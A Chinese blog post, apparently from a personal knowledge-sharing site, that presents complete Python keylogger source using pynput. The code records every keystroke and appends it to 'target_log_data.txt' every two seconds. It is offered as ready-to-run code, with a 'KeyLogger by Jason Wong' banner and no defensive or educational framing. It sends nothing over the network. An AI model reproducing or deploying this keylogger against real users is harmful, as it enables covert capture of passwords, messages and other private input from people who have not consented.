分享

Python实现键盘记录并周期性以追加模式写入文件

 zZ华 2022-10-05 发布于广东
复制代码
 1 from pynput.keyboard import Key,Listener
 2 import threading
 3 import sys
 4 
 5 
 6 class KeyLogger:
 7     def __init__(self, interval, filename) -> None:
 8         self.interval = interval     #周期性将键盘记录写入文件,interval定义时间间隔
 9         self.filename = filename     #文件来写入键盘记录
10         self.key_text = ''      #用来存储键盘敲键
11         print('Begin to log keystrokes...')
12     
13     def key_handler(self,k):    
14         try:
15             k = k.char                 #对于非特殊字符,那么具有char属性,如果捕捉到异常,表明为特殊字符
16             self.key_text = self.key_text + k
17         
18         except AttributeError:
19             if k==Key.backspace:
20                 self.key_text = self.key_text + ' '
21             elif k== Key.enter:
22                 self.key_text = self.key_text + '\r\n'
23             else:
24                 self.key_text = self.key_text + ' '
25      
26     def write_file_timer(self):
27         
28         with open(self.filename,'a+') as f:
29             f.write(self.key_text)
30         self.key_text = ''     #每次将self.key_text的键盘记录写入文件后,该变量中的数据清空用来记录新的敲键
31         timer = threading.Timer(interval, self.write_file_timer)
32         timer.start()
33 
34     def run(self):
35         with Listener(on_press=self.key_handler) as keyer:
36             self.write_file_timer()
37             keyer.join()
38 
39 
40 if __name__ == '__main__':
41     banner = '''
42             ********************************************
43 
44             ***************KeyLogger by Jason Wong******
45 
46             ********************************************
47     '''
48     print(banner)
49     try:
50         interval = 2
51         filename = 'target_log_data.txt'
52         keylogger = KeyLogger(interval=interval, filename=filename)
53         keylogger.run()
54     except KeyboardInterrupt:
55         print('Exit the program now!')
56         sys.exit(0)
复制代码

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多